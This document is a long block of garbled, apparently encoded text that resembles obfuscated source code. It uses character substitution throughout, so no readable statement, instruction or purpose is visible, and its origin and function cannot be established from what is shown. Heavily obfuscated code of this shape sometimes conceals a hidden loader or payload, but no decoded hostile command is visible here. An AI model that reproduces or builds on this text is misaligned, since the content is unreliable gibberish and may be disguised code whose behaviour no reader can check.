\USSUU]Q*.RR(\\UUUUE F]Q*.RR(\NUUUUUUUUUU5*]*F]GDDL\\NUU5*]*F]DMMB\\NUU5*]F]GDGA\\N5*]MAL]D@EE\\NUUUUUU5*]F]GDG@\\NUUUUU5*]MAL]DACE\\NUUUU5*]F]DAAL\\NU5*]MAL]DACD\\NUUU ]Q* LFFAYUUUQ*\NUUUUUZZU"%U3U9UUU]CLG]GDDB\]F]MLE\\\UUUUUUUUUUU5*]MAL]GDGC\\N5*]*F]GDGB\\NUU5*]D*LB@@BE]\\NUUUUU]CLG]GDGM\]MAL]GDGL\\\UUUUU5** *]MAL]GDFE\\NQB FCHDL@	G@GNQMHQB FC+DLNU5** *]MAL]GDFD\\NU5** *]GEBGM]\\NUUUUUUUUUUUUU]!UUUQD@D*G\UUUUUUUUUAAMGG*  ]F]GDFG\YUQD@D*G\NUUUUU]0UQD@D*G\UUUU UUDF@]\UUUUUUUU]T]F]DLDB\\\UUU UUUUNQADCEUHUUU GBME M L]\NUQA AUHUUUQADCEU[UUUMAL]GEAA\NUUQGEUUHUUUU*F]DLL@\]DCLLEEFE]\YUUF]GDFF\\NUUQEADUUUUHUUUUGDG]\NUUU]TQEADUUU		UU*F]DLEG\]QEAD\UUUUIUUUUUU]ABC^GA\UUUUU		UU*F]GDFA\]QEAD\UUUUKU]E@D^EDDG\UU		UUDGD@@LCD]QEAD\U		UUT@LE*B ]QEAD\\UUU UUUNQ UHU5F]D@EA\]QA A\UUUJU5*F]GDE@\]QA A\UUUOUUUUWWNUUUUUUUU]TF]GELA\]Q \\UUUAAMGG*  ]*F]BFD\YU*F]DAAG\\NUUUUUUUU UNUUUUUUUUUQ UUUUHU*MB @AB]Q \NQDB@UHUUMCCFB]\UUUUU[UUUURORUUUU[UL ]47&%4!=U[UUUU*F]GDF@\YU]ED^EB\\NUUUQ*GE LCUHUUU*F]GDFC\UU[UUUQDB@UUUUUU[UCLG]DCGB\NQDFMLUUUHUUUU*F]GDFB\UUU[UUUUUQDB@UUU[UCLG]DCGB\NUUUUUQBLLUUUUUUHUUL ]47&%4!=UU[UUF]GDFM\YU]@^F\\NUUQ C@UUUUHUUUUMAL]GDEC\]F]GDFL\U[UQBLLUU[U*F]GDAE\YUUWWYUUUUUQ \NUUUQ BE@UUUHU]F]GDAD\]Q C@YUUUF]GDAG\\UUUUUTHHUUU\NUU]CLG]GDAD\]Q YUUQ*GE LC\UUTHHUUUUSSUCLG]GDAD\]Q YUUUUUUQDFML\UUUTHHUUUUUUUSSUUTQ BE@\UU UUU NQ UUHUUUF]GDAF\]F]GDAA\YUUWWYUUQ C@\NUU]TCLG]GELA\]Q \\UUUUUAAMGG*  ]*F]BFD\YUUUCLG]D@CE\\NUUU UUUNUUUUQCB*UUUUUUHUUUFDG]\NUUUUUUU]TQCB*\UUUUU UNUUUQEDG@GDUHUCLG]GDA@\U[UUU*F]GECG\]*F]GDAC\]QGEU[U]\UACCAG]\\YUUUEYUUU]LM+DEC\\NUQCMDGALUUUHUUUUL*AAC*AL]*F]GDAB\Y]R**&9 2**RYUUUR**%9 2<;*74&0CA**RYUUUUUR**2 4'1*;480**RYUUR**#0'&<:;**R\YU]QGEYUQCB*YUQEDG@GDYUMCCFB]\\UUUUU\NUUUU]TQCMDGAL\UUUUUUUUU]]\UU*]CLG]GDAM\YUUUE\UKUUUUE\UUUUAAMGG*  ]*F]BFD\YUUUF]GDAL\\NUU UNUUUUUUQ UHU*MB @AB]Q \NUUUUQCUHUUUMAL]GDAF\]CLG]GD@E\YUUUUWWYUQCMDGAL\NUQFBUHUU]*F]GD@D\]Q \UUHHHUUE\NUUU]TQFB\UUUUUU]T*BCDBG]F]BFD\\\UUUUUUUAAMGG*  ]*F]BFD\YUUUUF]D@CG\\NUUU UUNUUU]TED*L @]QA AYUUUUUUQ \\UUAAMGG*  ]CLG]BFD\YUUUU*F]DCAD\\NUUUUU UNUUUUE]F]BFD\\NUUUUUUUUU]TED*L @]QA AYUWW\\UQ*L  HL^DLNQE HQ*L  XD@NUUUUAAMGG*  ]CLG]BFD\YUUUUUCLG]GD@G\\N UUUUNUUUUUUUUUUQE@*UUUHUL@LGB*MBFCL]Q YUUQ*GE LCUUU[UUW)WUU[UQCUU[UUUUW)WUU[UQDFML\NUU]T FAF@D]QA AYUQE@*\\UUUUUUU UUNUUUUUUUUU]QFB\UELAAL*]QA A\NU UUUUU NUUUUU]!UUUUQD@D*G\UUUUUUUUAAMGG*  ]CLG]BFD\YUQD@D*G\NUUUUUUUU UUNUUUUU]0UUQD@D*G\UUUU UUUUNUUUUU UUUUFGBF@]\UUUUUUUQF*UUUUHU]\NUUUUUUUUUUU]T*F]GDGM\]MAL]GDDM\\\U UQF*NUUUUUQ**@UUHUU]]*F]DLBM\\UUUUJUUUUUU"%*6:;!0;!*1<'UOUUUU]]CLG]DLDB\\UUUJUU47&%4!=UU[UUCLG]GD@F\UUUOUWW\\U[UUF]GD@A\NUUUUQ GAGBUUHU]\UUU5*]F]DG@F\YUUUWW\NUUUUU]Q GAGBUUUTHHUUWW\UUQF*.(UUUUHUQ**@U[UUUQ GAGBU[U*F]GEA@\NUQB @*LUUUUHUUU]\UU5*]MAL]DG@A\YUWW\NUUUU]QB @*LUUUTHHUWWUSSUUQB @*LUTHHUUQ GAGB\UUQF*.(UHUUQ**@UUU[UUUUQB @*LUUUU[UCLG]GEA@\NUUU UUQF*NUUUUU UBL@D@L]\UUUUUUUUU]T]CLG]DLDB\\U		UTF]GDGM\]MAL]GD@@\\\UU NUUUUU]FGBF@]\UUUUUUUUQEE@LBL\UUUUZZUUUUUUQDC*C UHUUUGMFM]\UU[U*F]GD@C\U[UUL ]QEE@LBLYUUU]DD^D\\UU[UUCLG]DMFB\NUUUUU]T5CLG]GDDD\]QDC*C \\UUU NUUU]5CLG]GDDD\]QEE@LBL\UUUSSUUUU5MAL]GEAE\]QEE@LBL\UKUUUUE\UU NUQC@EUUUUUHUU5MAL]GDE@\]QDC*C \NUUUUU]T*F]GELA\]QC@E\UUUUU		UUQC@EUUUUUHHHUUUUWW\UU NU] FAF@D]QEE@LBLYUUUQC@E\\UUUUUUAAMGG*  ]CLG]GD@B\YUUUUMAL]GD@M\\NUU5 *]*F]GD@L\YUUF]DMMG\]\YUUU*F]GEDF\\NUUUUUZZU5U XXUUUUUUU]!UUUQD@D*G\UUUAAMGG*  ]MAL]GD@B\YUUUQD@D*G\NUUUUUUUU]0UUQD@D*G\UUUUUUUU UUFLA*@LG@G]\UUUUUUUUU]T]F]GDCE\\\U UUUUUUNUUUUUUUUQUUUUHUUUUFGBF@]\NUUUU]]Q\\UUU UUUNUQMUHU]\UU*]F]GDCD\YUUUUUE\NUUUUU]QMUSSUUUUMAL]DMMG\]\UXUUUUUQMUUIU]EGA^EDGC\\U UNUUUQDB@UHUUMCCFB]\UU[UUURORUU[UUUL ]47&%4!=UUUU[UUUUUU*F]DMD@\YUUUUUU]EC^EG\\NUQ*GE LCUUHUUCLG]GDCG\UU[UUUUUQDB@UU[UMAL]GDCF\NQDFMLUUUHU*F]GDCA\UUUU[UQDB@UUUUU[UUUUCLG]GDCF\NQEDG@GDUUUHUUCLG]GDC@\U[UU*F]GDCC\]*F]GDAC\]47&%4!=UU[UUU]\UUUACCAG]\\YUUUUUUEYU]GIIG\\NUQGEUUHUUUF]DLL@\]DCLLEEFE]\YUUMAL]GDCB\\NUQCB*UUUUHUFDG]\NUUUUUUU]TQCB*\UU UUNQC@CFUHUUUUL*AAC*AL]UUMAL]BFA\YUU]R**&9 2**RYUR**%9 2<;*74&0CA**RYUUUR**2 4'1*;480**RYUUR**#0'&<:;**R\YUUUUUU]QGEYUQCB*YUUQEDG@GDYUUUUUMCCFB]\\UUUUUUU\NUUUUUU]TQC@CF\UUUUUUUUUUUU]]\UUUUU*]CLG]GDAM\YUUE\UUUUUKUUUUE\UUAAMGG*  ]CLG]GD@B\YUUUUUUF]GDCM\\NUUUU UNUUUUQC@CFUUUHUU*F]GDCL\]MAL]GD@E\YUUUUWWYUQC@CF\NUUUUUUUU]TCLG]GELA\]QC@CF\U		UUUQC@CFUUUUHHHUUUUWW\U UNUUUU]QUUUUUQ*F\UUUUUUUUUUUU]T5*F]GDDD\]Q*F\\UU NQ LCUHUU*F]GDGM\]MAL]DEA\\UUJUUUUU5CLG]DEA\]Q*FYURR\UUUOUUUNUUU]Q LCUUTHHUUUUUUUSSU*F]GDGM\]MAL]GDBE\\\U5]Q LCYUU9:6>*0-\NUQ UUHUUUUUU5F]GDE@\]Q*F\NUUU]TF]GELA\]Q \\UUUUUUAAMGG*  ]F]GDBD\YUF]DAAG\\NUUUUUUU]Q LCUUUUUTHHUUU\UUUUU]*F]GDBG\]*F]GDBF\\\UUU5]Q LCYUUUU9:6>* ;\NUUUUU5]Q LC\NUUUU NUUUUUUUUUUU]MAL]GD@D\]Q \UKUUUU]EDF^EFEF\\UUUUUQ UUUHU*MB @AB]Q \NQA@HDEC	DL@NQBDMHQA@+DANUUUUUU]CLG]GDAD\]Q YUUUQ*GE LC\UUUUUTHHUUSSUUU*F]GDAD\]Q YUUUUUQDFML\UUTHHUU\U UUUUU NUUUUUU]T5F]DLFC\]Q*F\\UUU NUUUUUQDC*C UUUHUUUGMFM]\UUUUU[UUF]GDBA\UUU[UL ]Q*FYUU]CIID\\UUUUUU[UCLG]GDB@\NUUQDLUHUL ]47&%4!=UUU[UUUMAL]GDBC\YUUUUU]GIIG\\NUQ UUUUHUU LADF]Q YUU*F]GDDG\YUUMAL]GDBB\\NUUUQ UUUUUHUU*F]GDBM\]*F]GDBL\YUUUUUUWWYUUQ \NUU]TCLG]GELA\]Q \\UUUUUAAMGG*  ]CLG]GDME\YUUUCLG]GDMD\\NQEEHDDA	GMNQADHQEE+GEENUUUU NUUUU]CLG]GDMG\]Q YUF]GDMF\\UUUUTHHUUUU		UF]GDMG\]Q YUF]GDMA\\UUUUUTHHUUUU\UUQAGFUHUUUUU5CLG]GDDD\]QDC*C \UUUJU5MAL]GDE@\]QDC*C \UUUOUNUUUUU]TCLG]GELA\]QAGF\U		UQAGFUUUHHHUWW\UUUUQLAADBHG@BMNQB*@HQLAADBPDANUUAAMGG*  ]CLG]GDME\YUUMAL]GDM@\\NUUU NUUQ UHUUUUUQAGFNUU ]QAGF\NUUUUUQGBGCUUHU*C@M]Q \NUUUUU]MAL]GELA\]QGBGC\UUSSUUUUUQGBGCUUUUUTHHUUWW\UUUUUUUUUQFMGCUUUUHUUUU5F]GDDD\]QDC*C \UUUUJU5MAL]GDE@\]QDC*C \UUUUOUUNUUUU]TCLG]GDMC\]QFMGC\UUU		UQFMGCUUUUUUTHHUUQGBGC\UU FAF@D]QDC*C YUUUQGBGC\NUUU ]QFMGC\NUUU ]QGBGC\NUUUQCEFDUUUHUF]DCEG\NUUUUU]F]GD@D\]Q \UUKUUEUUSSUUUCLG]GDMG\]Q YUUUUUF]GDMB\\UTHHUUUUUSSUUUUUCLG]GDCC\]F]GDMM\]Q \YUXG\UUUUTHHUUUUUU*F]DCLC\\UUUUUUUUUQCEFDUHUUUUWWNUUUUUUUUQELFUUUUHUUU]CLG]GDML\]Q \UUUUKUUUE\UUUJUUUW)WUUOUWWNUUUQFEUHUQELFUUU[UUQCEFDU[UQ*GE LCUUU[UUW)WU[UUUQC@CFUUU[UW)WUU[UUUQDFMLU[UW)WNUUUUUU]TED*L @]Q*FYUUUUUQ \\UUUZZU UUXUUAAMGG*  ]F]GDME\YUUMAL]GD@G\\NUUUU NUUUUUUUUUUU]T FAF@D]Q*FYUUQ UU[UUQFE\\U N UU NUUUUUUUUUUUUUUUUUUUU]Q LCUUUUUTHHUU\UUUUU]*F]GDBG\]MAL]GDBF\\\UUUUU5]Q LCYUUUUU9:6>* ;\N5]Q LC\NUUUUUUU UUUNUUUUUUU]!UUQD@D*G\UUUUUUAAMGG*  ]MAL]GDME\YUUQD@D*G\NUU UUUUUUNUUUUUUUU]0UUUUQD@D*G\UU UUUUNUU UU*CCM@@AD]\UUUUUUUUUUUUUU]T]CLG]GDCE\\\UUUU NUU]DFMCGD@]DCLLEEFE]\\\UUUU NUUQADCEUUUHU GBME M L]\NUUQMAMLCAUUUUUHUUUL ]47&%4!=UUUUUU[UUU*F]DCD@\YUUUU]@C+AM\\UUU[UUUUCLG]GDLE\NUUQGEUUUHUUUCLG]DLL@\]DCLLEEFE]\YUUUUU*F]GDLD\\NUUUUUQEADUUHUGDG]\NUUUU]TQEADUU		U*F]GDML\]QEAD\UUIUUU]ADL^MD\\UUUAAMGG*  ]*F]DABL\YUUUUMAL]GDLG\\N NUU]T*F]D@G@\]*F]GDLF\\\UUU NUUQMMAGMUUHU]UUQADCEUUUUU[URZRUU[UUQMAMLCAYUUQADCEUU[UUCLG]GDLA\UUU[UU*F]GDL@\]*F]GDLC\\UUU[UUUQMAMLCAYUU\NQFE@UHUU]]*F]GDLB\\UUUUUJUUUU"%*6:;!0;!*1<'UUOUUU47&%4!=U[UU*F]GD@F\\UU[UUUCLG]DG@C\NUUU]5CLG]DLMG\]QFE@\\UUUUUUQ*@A*FCGUHUU GD FB@B ]QFE@\NUUUUU]MAL]GDGG\]Q*@A*FCG\\UUUUUUU]Q*@A*FCGUUUUUUUQD@D*G\UUUUUQGUUHUUUUUQFE@UUUUUU[UURZRU[UUUQD@D*GNUUUUU]5F]DLMG\]QG\USSU5F]DLFC\]QG\\UUQMMAGM.(UHUUUUQGUU[UURZRU[UQMAMLCANUNUUUUUZZU5 U  XUUUZZUXUUUUU]QMMAGMUUUUUUQB@M\UUUUUUUUUUU]5F]GDLM\]QB@M\UUUUSSUUU5MAL]GDLL\]QB@M\UKU]E^EGL\\UUUQECUHUUMAL]GDLF\NUUUUU]*F]D@G@\]QEC\\UUUQ EBUUHUUUUUUUQEC]\NUUUUU]5Q EBXK]QB@M\UHHHUU \UUUUUQ EBXK]\NU NUUUUUUUQBD EUHUUUCLG]GELB\]QB@M\NUUU]T5F]DLMG\]QBD E\\U*DAA]QBD EYU]FLG^DED\YUU \NUUUUQECUHUF]GDLF\NUUQDBUUUUHUUUUUU*CCF A*DCEC]QBD EYUUMAL]DDEL\\NUUUUUUU]QDBUUUHHHU\UUUU NQ***CUUHUUUUUUQEC]\NUU]5Q***CXK]QDBYUUQECOO6'04!0UUUUUU	UUQECOO:#0'"'<!0\UUUUHHHUU \UUUUUQ***CXK3&]QGEUU[URZRUU[UQGEUUUUUU[U*F]GDLD\YUUQEAD\NUUQ***CXK]\NUUQFABCUHUUUUUQEC]\NUUUUUUU]5QFABCXK]QDB\UUHHHU \UUUUUUUQFABCXK]\NUUUU]B@E *G]QDBYUUQB@M\UU		UUU] BCE]QDBYUQB@M\UUUUUSSUUUUE F]QDB\\\UUUUUUUEEABB *FM]QB@MYUD AC ]\\NUUF* ]QB@MYU]FBD^AL\\NUUUUUUUUUUZZU"%U&U&U'OUXU UUUE F]QDB\NZZUUUUUUUUUUE F]QDB\NUUUUUUUUUUUE F]QDB\NUUUUUUUU]!UUUUUUQD@D*G\UUUUUUUUUUAAMGG*  ]*F]DCD@\YUUQD@D*G\NUUUUUUUUUUUU]0UUUQD@D*G\UUUUUU ULLGGEE]\UUUUUUUUUU]T*F]GDBG\]MAL]AFB\\UUU		UT*F]GDBG\]F]GGEE\\\UUU NUUUU]T]MAL]GGED\\\UUU NUQBD*UUHU*F]GDFE\NUU]T** ]QBD*\\UU* *]*F]DMMG\]\UUU^UUUUU]GLG^M\YUMAL]GGEG\YUUUUUUQBD*\NZZUXU UXUUUUUUUUUUU]T** ]*F]GDFD\\\UUUUU* *]CLG]GGEF\]\U^U]@EF^LB\YUCLG]GGEA\YU*F]GDFD\\NUUZZUUUUUUUU]!UUQD@D*G\UUQ GLLHDGDDNQCCHQ GLLPLNUUUUUAAMGG*  ]MAL]GGE@\YUQD@D*G\NUUUUUUUUUUU]0UQD@D*G\UUUU UUU*FD LLFB]\UUUUUUUUU]T]F]GGED\\\UUUU NUQC@@UUUUHUUUUUUL ]47&%4!=UUU[UURRYU]D+L\\NUUUUQ BUUHUU]\NUUUU]*F]GDBG\]CLG]GGEC\\\UUUQ B.(UUHUUGMFM]\NUQ B.(UUHU47&%4!=UUUU[UUUU*F]GGEB\NUUUUU]MAL]GDBG\]MAL]@A\\\UQ B.(UUHUU GBME M L]\NUUUUU]Q BUUUUQAECD\UQ FE@UUUUHUUUUUUQAECDUUUUU[UUUMAL]DCAB\UU[UUQC@@NUUUUUU]5F]GGEM\]Q FE@\USSUUU]\UU5MAL]GGEL\]Q FE@\UUKUUUUF]GGEF\]\UUXUUUU]FDDXBD\\U NUUUUUUUUU]Q BUUUUUUQAECD\UUUUUQ*FD@  *UUUUUHUUUQAECDUUU[UUUUF]GGDE\UU[UQC@@NUUU]5F]GGDD\]Q*FD@  *\\UUUUUUQ@ UUHU]\UU5MAL]GGEL\]Q*FD@  *\NUUUU]Q@ UKUUUUUUF]GGEF\]\UUUXUUUU]MCFCM^FG\UUUUSSUUQ@ UIHUUUF]GGDG\]\UU^UUUUU]BE^GFE\\UU NUUUUUUUE F]Q*FD@  *\NUUUQ@LUHUUUUUQAECDUUU[UU*F]DC@G\UUUUUU[UUQC@@UUUUUU[UMAL]GDLD\NUUUU]5F]GGDF\]Q@L\UUUSSUU]\UUUU5MAL]GDLL\]Q@L\UKU]AMG^DM\\UUQGCFLAFUUUHUUQAECDUUUU[UUUCLG]DCMD\UUUU[UUQC@@NUUUQCD@UUUUHUU5*F]GGDF\]QGCFLAF\UUJUUUUCLG]DGMD\]]\U5F]GDE@\]QGCFLAF\\UUOUUUUUWWNUUUUUUUU]QCD@UUTHHUUWWUUSSUUUU*F]GDBG\]MAL]GGDA\\UUUSSUU5@*]Q@L\UUUHHHUQCD@\UU5 UUQ@LNUUU NUUUU]QCD@UTHHUWW\UUUUUE F]Q@L\NUUUUUUUUUUUU ]QGCFLAFYUUUUUQCD@\NUUUUUU ]Q*FD@  *YUUUUUUQ@ \NUUUUU]MAL]GDBG\]CLG]MLE\\\U5*]CLG]GGD@\\NUUUBADD]\NUUUUUUUUUU]!UUUQD@D*G\UUUAAMGG*  ]F]GGDC\YUUUQD@D*G\NUUUUUUUU]0UUUQD@D*G\UUUUUU UUUUUMCBCLDM ]\UUUUUU]T]CLG]GGDB\\\U NUUUUUAFBADCCMB] \NUUQGEUUUUHUU*F]DLL@\]DCLLEEFE]\YU*F]GDLD\\NQDHDC_CNQGF**HQDXD@NUUUQLEUHUUUDCLLEEFE]\NUQEADUUHUWWNUUUUUUU]5*F]GGDF\]QLE\USSU5CLG]GGDM\]QLE\UUUKUU]LMMFXAMMF\\UUUUQGG@UUUHUU]\UU5F]GDE@\]QLE\NQMHXA@NQD*L@H]QMKE\JQMOXQMNUUQGAA@CUHUUUUMAL]GDBG\]MAL]GGDL\\UUUJU*MB @AB]QGG@\UOUUUUUQGG@NUUUUUUU]*F]GGGE\]QGAA@C\UUSSU*F]GDML\]QGAA@C\UUUUUUKUU]LDGXADG\USSUU@LE*B ]QGAA@C\\UQEADUUHUUUUUUQGAA@CNU ]QGG@YUUUUQGAA@C\NUUUUUU]QEADUUUUHHHUUWW\UUUQ G@UUHUUUL ]47&%4!=UUU[UUCLG]GGGD\YU]DLXL\\NUUUUUQCB*UUHU*F]GDBG\]*F]GD@@\\UUUUUUJU5*]Q G@YUWW\UUUOUUWWNUUUUU]TQCB*UUUUUU		UCLG]GGGG\]QCB*\UUIUUUU]AA@^@@\\UU NQ*ADHFL	DFMNQ@G@HQ*AD+GGGNQEADUUHUUUUGFCD]F]AEG\]QCB*\\NUUU]TQEADUUU		UCLG]GGGG\]QEAD\UUUIUUU]A@G^AM\\UU NUUUU]T@LE*B ]QEAD\\UUUUAAMGG*  ]F]DGMB\YUUCLG]MBF\\NU NUUUUUUUUUUQADCEUHUU GBME M L]\NUUQMEDD @UUUHUUUQADCEUU[UUU*F]@@\UU[UUUUUQGENQUUHUUUQMEDD @U[UUURZRUU[UQGEUU[UUUF]GDLD\NUUUUUUUU]T5F]DLMG\]QMEDD @\\UU*DAA]QMEDD @YUUU]AAM^A@\YU \NUQC**UUHU5*F]GGDF\]Q\UJU]\UU5MAL]GDE@\]Q\UOUUUUWWNQB LAUUUHUUUNUU]QC**UTHHUWWUUUUSSUUUUUMAL]GEFA\]MAL]DLLD\YUUUF]GDCC\]QC**YUUEYUU]AE@F^AF\\YUUUUQ*GLGBLC\UUUSSUU*]Q*GLGBLC.D(YUUMCCFB]\YURKR\\UQB LAUUUUUHUUUUU NUUU ]Q*GLGBLC\NUUUUUUUUU]TQB LAUSSUUUU]QC**UHHHUUWWU		UCLG]GDAC\]*MB @AB]QC**\\UUUUUTHHUUCLG]GDAC\]QEAD\\\UUUUUUUUUU] FAF@D]QYUFD @]QEAD\\\UUUUUF* ]QYUUUU]FLG^GM\\NULAAADF]Q\NUELAAL*]Q\NUUUUUUUU ]QC**YUUUUQB LA\NUU]MAL]GDBG\]F]GD@@\\UUUSSUUMAL]GGGF\]CLG]DBCC\\\UQ@CDHFB_BNQ MHQ@CDXABNUUUQ@FAAADUHUUQGEUU[URZRUUUUU[UUQGEU[UU*F]GDLD\NUUUUQMAL*BUUHUUU*]*F]GGGA\YUUU]\\NUUUUUUUUUUU]TMAL]GDGG\]QMAL*B\\UQMAL*BUHUU]\NUUUUUU]T*F]GGG@\]Q@FAAADYUUUUUUQMAL*BYUUUUU \\UUUUUUUUUUQMAL*B.(UUUUHUQ@FAAADN *]CLG]GGGC\YUUUUCLG]BEG\]QMAL*B\\NUUUUUQDLUHUUUU *LMAEE]\NUUUUUUUU]5MAL]DLMG\]QDL\UU		UU*DAA]QDLYUU]AAC^AB\YU \\UUQ@EAFUUHUQDLUUU[UUUURZRUU[UQGEUU[UUUCLG]GGGB\NUUQM*UUUHUU5MAL]GGDF\]Q@EAF\UJUUUU]\U5MAL]GDE@\]Q@EAF\UOUWWNUQ*UUHUUUUNUUUUUUUUU]QM*UUUTHHUUUUUWWUUUUUSSUUMAL]GGGM\]MAL]DLLD\YUMAL]GGGL\]QM*YUEYUU]FAAB^CAL\\YUUUQCE\UUUSSUU*]QCE.D(YUUUMCCFB]\YUUUURKR\\UUUUQ*UHU NU ]QCE\NUU]TQ*UUSSUUU]QM*UUUHHHUUWWUUUUU		UCLG]GDAC\]*MB @AB]QM*\\UUUUUUTHHUCLG]GGFE\]QEAD\\\UUUUUUQHME	DECNQ@M@ B@HQ+@DNU] FAF@D]Q@EAFYUUFD @]QEAD\\\UUUUUUF* ]Q@EAFYUUU]DD^AEL\\NLAAADF]Q@EAF\NUUUUELAAL*]Q@EAF\NUUUZZUUUUUUUUUU]TQ*\UUUUUUQLCUHUU5CLG]GGEL\]Q@EAF\NUUUUUU]TQLCUUUU		U]QLCUUUPUU]D@AEGMX@AEGM\\UUTHHUUUUUACCAG]\\UULAAADF]Q@EAF\NU ]QLC\NU ]QM*YUUQ*\NUUUUUUUE EB]QEAD\NUUUUU]!UUUUQD@D*G\UUUUUAAMGG*  ]CLG]GGFD\YUUQD@D*G\NUUUUUUUUUU]0UUQD@D*G\UUUUUU UUUBCC**B]\UUUUUUUU]T]Q*20!.RR(\UUU		UUTF]GGGE\]Q*20!.RR(\\UUU NUUQ*BBUUUUHUUUUUQ*20!.RR(NUUU]Q*BBUUUHHHU*E*@]*F]DAED\\\UUUUUUUUUUUUUQ*@LAC LEUUHUUGMFM]\UU[URZRU[UUL ]47&%4!=UUUUU[UUCLG]GGFG\YU]DDG+DGE\\UUU[UCLG]GGGB\NUUQAC UUHUUUU5*F]GGFF\]Q*@LAC LE\UUUJUUUUU]\UU5F]GGDM\]Q*@LAC LE\UUOUENUU]QAC UUUKUUU]A@D^AL\USSUUUQAC UUUUIHU]@@BDB@^ACM@BE@\\UU UUQ*@LAC LENUUUUUUU]!UUUQD@D*G\UUUUUUUUUU]0UQD@D*G\UUUUUUUUU]MAL]A@C\]\UKUEUUSSUU5**]\\UUUUUUUUUUU]MAL]GGFA\\NNUUUUUUUUUU]Q*BBUUTHHUUUUU*E*@]*F]DFBL\\\UU NUUUUUUUUUUUUUUU]CLG]GGF@\]F]GGFC\\UUUUSSUCLG]GGF@\]MAL]GGFB\\\UUUUUUU5 *]*F]@CF\YUU]\UU5*]CLG]@CF\YUUE\U^UUUDYUUUCLG]GGFM\\NUU5 *]F]@C@\YUUUMAL]GGFL\]\YUF]GGAE\\NUQBUUHUUGFC*@]MAL]DFBC\YUUUUWW\NUUU]MAL]GGGG\]QB\UUUUUUKUU]LM^G\UUSSUUTMAL]GGAD\]*F]GGAG\YUUQB\UUSSUUCLG]GGAD\]*F]GGAF\YUQB\\UUUUUQLBG*UUHUUU5F]AEG\]QBYUUUUUU \NUU]QLBG*UUTHHUUUUSSUCLG]GGGG\]QLBG*\UUUUUKUUUUUU]@@^A@\\UUQBUUHUQLBG*NUUUU]F]GGAA\]QB\UUIUUU]DFMXFM\\UUUUQBUUHUUUAM*MEC]\NUUUU]MAL]GGA@\]QB\UUIUU]BB^GF\\UUUUUUU]F]A@C\]\UUUUUKUUEUUUUSSUU5**]\\UUQEFGHLDMENQE ADLCLHQEFGPFNUUUUUUUUUUU]F]GGAC\\NU]CLG]GGAB\\NUUUUU]MAL]GGAM\\NUUNUUQL@@UUUUHUUUUGFC*@]CLG]GGAL\YUUWW\NUUQBGB UHUURWRU[UUUUUUF]GGFE\]QL@@UUU[UUUUQB\U[UUUUURWRNUUU]]Q*&0'#0'.F]GG@E\(\UUUSSUUUU*F]DGMD\]Q*&0'#0'.MAL]GG@E\(\UUHHHUQBGB \UUUU]MAL]A@C\]\UUUKUEUUSSUU5**]\\UUUUU]*F]GG@D\\NUUUU]F]GG@G\UUU[UUUQBGB \NUUUUNUUUUUUU]*F]A@C\]\UUUUUKUUEUUUUSSUUU5**]\\UUUUUUUUU]*F]GGAC\\NUUUUU]*F]GG@F\\NUUUUUUU]*F]GG@A\\NU]*F]GG@@\U[UQBGB \NUUUUUUQL@@U[UUQBNUUUUNUUUUUUUUU]!UQD@D*G\UUUUUUAAMGG*  ]F]GG@C\YUQD@D*G\NUUUUUUUUU]0UUUQD@D*G\UUUUUUUAAMGG*  ]F]GG@C\YUQD@D*G\NZZU"%U&U3OUUUUBCC**B]\NUUUUU UUUU@B@@AM]\UU]T]Q*20!.*F]GG@B\(\\UU NUUQ @B*UUUUUHUQ*20!.CLG]GG@B\(NUUUU]TMAL]GG@M\]Q @B*\UUUU		UUQ @B*UUUUHHHUUWW\UUUUU NQ @B*UHU*F]BB\]Q @B*\NUUQ AMB*AUHUU]\NUUUUUU]CLG]GG@L\]F]GGCE\\\UUUQ AMB*A.(UHU]\UUUUUUF]GGCD\]* ]\YU%=%* '9*=:&!\NUUUU]CLG]GGCG\]F]GGCF\\\UUUUUQ*FBDUUUUUHUUUUU]\UUUU5*]CLG]GGCA\YUUWW\NUUUUUUUU]Q*FBDUUUUTHHUUUWW\UQ AMB*A.(UUHUUU]\UUUCLG]GGCD\]Q*FBDYUUU%=%* '9*=:&!\NUUUUUUU]]Q*&0'#0'.F]CAC\(\\UUUUUUQ AMB*A.(UUUHU]\UUQ*&0'#0'.*F]GGC@\(NUUUQ AMB*A.(UUHUE]WW\NQAMFUUHUNUUUUU]*F]DLBC\]Q AMB*A\UUUUUUUQBLFA\UUUUUUQAG@H%=%*<;!*84-Z%=%*<;!*84-NQ*HQAG@^AMNUUUU]TMAL]GGCC\]QBLFA\U		UUQBLFAUUUUUHHHUUWW\UUU NUUUU]MAL]GDMG\]QBLFAYUUROR\UTHHU\UUUUQBLFAUUUUUHUUUUUF]GDBM\]MAL]GGCB\YUUUUWWYUUUUUQBLFA\NUUUUUUUUUU]L ]MAL]BB\]QBLFA\UU[UMAL]GGCM\YU]DCB+DBD\\UUUUHHHUQ @B*\UUUUUUUQAMFUHUU NQCB*M H%=%*84?:'*#0'&<:;NQDAA@EDGHQCB*M _CNNUUUUU]TQAMF\UUU NUQFC UUUUUUHUUMAL]DFMM\]*F]GGCL\YUU]GGA+G@A\\NUUUQ@B@MUUHUUUUUUGFCD] @*FFFC*]QFC \\NUUU]CLG]A@C\]\UKUEUUUUSSU5**]\\UUUUUU]F]GGBE\\NU]CLG]GGBD\\NUUUUU]Q@B@MUUUUHHHUUQFC \UUJUCLG]GGBG\UU[UCLG]GGBF\]QFC \UOUF]GGBA\NUUUNUUUUUUU]!UUQD@D*G\UUUUUUUAAMGG*  ]CLG]GGB@\YUUUUUQD@D*G\NUUUUUU]0UUUUQD@D*G\UUUUUUAAMGG*  ]*F]GGB@\YUUQD@D*G\NUUUUUUUUU@B@@AM]\NUUUUUUU UUUG DM M ]\UUUUUU]F]GGBC\]F]GGBB\\\U**]\NUUUUUUUUUU]MAL]GGBC\]F]GGBM\\\UUF* *]\NUU]CLG]GGBC\]MAL]GGBL\\\UUU** *]\NUUUU]CLG]GGBC\]F]GGME\\\U* *]\NUUU]*F]D@G@\]F]GGMD\\UUUUSSUUMAL]LL\]MAL]GGMG\YUUUUF]GGMF\\\U9&*6*4%<OO *]\NUUUUUU]*F]D@G@\]MAL]GGMA\\USSUUF]GGM@\]*F]GGMA\YUUF]GGMC\\\UUUU7*% 6OO** ]\NUU]MAL]D@G@\]MAL]CDE\\USSUUUCLG]GGMB\]CLG]CDE\YUMAL]GGMM\\\UU6*0OO**]\NUUUUUUUU]MAL]GGBC\]MAL]GGML\\\UUUU***]\NUUU]]Q29:749&.*F]CDD\(\UUSSUUF]GGLE\]Q29:749&.CLG]CDD\(\USSUUUUU*F]GGMB\]Q29:749&.MAL]CDD\(YUUMAL]GGLD\\\UUUQ29:749&.*F]CDD\(XK6] \NUUUU]F]GGBC\]C